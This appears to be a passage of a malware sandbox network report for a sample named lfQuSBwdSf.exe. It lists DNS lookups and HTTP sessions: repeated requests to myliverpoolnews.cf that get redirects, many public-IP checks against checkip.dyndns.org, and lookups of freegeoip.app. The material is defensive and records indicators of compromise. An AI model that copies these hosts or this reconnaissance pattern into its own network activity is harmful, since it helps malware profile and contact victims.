Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.099225998 CEST	8.8.8.8	192.168.2.3	0xf800	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.386113882 CEST	8.8.8.8	192.168.2.3	0xc04	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.386113882 CEST	8.8.8.8	192.168.2.3	0xc04	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.457216024 CEST	8.8.8.8	192.168.2.3	0x6506	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.472771883 CEST	8.8.8.8	192.168.2.3	0xca10	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.971657991 CEST	8.8.8.8	192.168.2.3	0xc9a5	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.971657991 CEST	8.8.8.8	192.168.2.3	0xc9a5	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

myliverpoolnews.cf

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49700	104.21.56.119	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:01:44.763689041 CEST	1125	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html HTTP/1.1 UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Host: myliverpoolnews.cf Connection: Keep-Alive
Apr 8, 2021 11:01:44.789665937 CEST	1126	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 08 Apr 2021 09:01:44 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 08 Apr 2021 10:01:44 GMT Location: https://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html cf-request-id: 0952505fc400002bd23ba83000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=XwmX5ySeaG4eevDa%2FP04VvipikZHPpRO%2FF3tIBV5NbuBA2RpBCIKkMorKYyO4EloOW3yiVGy%2BM7wNR%2FPg%2FysydqcyAkokNUfW2jqEcewsFpbnBQ%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63ca5012dfb72bd2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 8, 2021 11:01:45.927328110 CEST	2428	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html HTTP/1.1 UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Host: myliverpoolnews.cf
Apr 8, 2021 11:01:45.947901011 CEST	2429	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 08 Apr 2021 09:01:45 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 08 Apr 2021 10:01:45 GMT Location: https://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html cf-request-id: 095250644f00002bd223b7d000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=%2FM5OpJ9ZNhUXYnGpSkNb%2FUtZPySDSsvajfeM4j8STf9GIOWR45sdkEsLIhpSSfqEN7XEGXfP8XhuLIkYDfbs2LuwkZfpRXsVYCZSjrNCUOzV2wU%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63ca501a1bb42bd2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 8, 2021 11:01:48.776110888 CEST	3738	OUT	GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-5C52937048F55BFE92995966F69D90F1.html HTTP/1.1 UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 Host: myliverpoolnews.cf
Apr 8, 2021 11:01:48.797709942 CEST	3739	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 08 Apr 2021 09:01:48 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 08 Apr 2021 10:01:48 GMT Location: https://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-5C52937048F55BFE92995966F69D90F1.html cf-request-id: 0952506f7100002bd2259ac000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ThxZPwViEomojqqL9TYKZl1FY0onC5hnScyCYl%2BZodngPBmYO9P1MTEK1lipzYJy0Mh8OBpGnFzpFVupNRQJ0RL8kyCbxJWmlX1LJu945sWb1Eo%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63ca502bea0c2bd2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49720	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:02:35.342420101 CEST	4915	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2021 11:02:35.450606108 CEST	4915	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49755	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:15.023585081 CEST	5053	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:15.128920078 CEST	5054	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49762	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:17.074606895 CEST	5064	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:17.180192947 CEST	5065	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49764	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:18.124327898 CEST	5077	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:18.229459047 CEST	5078	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49765	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:19.316049099 CEST	5078	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:19.421181917 CEST	5084	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49768	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:20.784250021 CEST	5106	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:20.889914036 CEST	5106	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49769	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:22.463843107 CEST	5119	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:22.569499016 CEST	5119	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49770	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:24.109728098 CEST	5120	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:24.214984894 CEST	5120	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49771	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:25.727107048 CEST	5121	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:25.835148096 CEST	5121	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49772	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:26.918950081 CEST	5122	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:27.026371956 CEST	5122	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49773	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:27.954987049 CEST	5123	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:28.061099052 CEST	5123	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49722	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:02:37.180475950 CEST	4940	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:02:37.285245895 CEST	4941	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49774	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:29.059497118 CEST	5124	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:29.167048931 CEST	5124	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49775	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:29.584446907 CEST	5125	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 8, 2021 11:03:29.689801931 CEST	5126	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49776	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:29.802161932 CEST	5126	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:29.908320904 CEST	5127	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49778	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:30.080657959 CEST	5131	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 8, 2021 11:03:30.185421944 CEST	5133	IN	HTTP/1.1 200 OK Content-Type: text/html Server: DynDNS-CheckIP/1.0.1 Connection: close Cache-Control: no-cache Pragma: no-cache Content-Length: 104 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 38 35 2e 33 32 2e 32 32 32 2e 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 185.32.222.8</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49779	162.88.193.70	80	C:\Users\user\Desktop\lfQuSBwdSf.exe

Timestamp	kBytes transferred	Direction	Data
Apr 8, 2021 11:03:30.261841059 CEST	5134	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
